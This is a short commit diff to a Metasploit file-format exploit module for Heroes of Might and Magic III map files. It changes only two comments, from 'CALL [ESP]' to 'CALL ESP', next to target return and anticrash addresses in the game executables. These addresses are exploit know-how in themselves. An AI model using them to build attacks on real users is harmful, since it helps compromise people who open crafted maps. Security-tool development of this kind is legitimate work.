fix documentation

modules/exploits/windows/fileformat/homm3_h3m.rb

@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
               # when incremented by 4 and then deferenced leads to a function returning
               # without accessing any registers/memory that would cause a crash.
               'Anticrash2' => 0x006A6430,
-              'Ret' => 0x004EFF87, # CALL [ESP] Heroes3.exe
+              'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe
             }
           ],
           [
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
             {
               'Anticrash1' => 0x00456A48,
               'Anticrash2' => 0x006A6830,
-              'Ret' => 0x00580C0F, # CALL [ESP] Heroes3 HD.exe
+              'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe
             }
           ]
         ],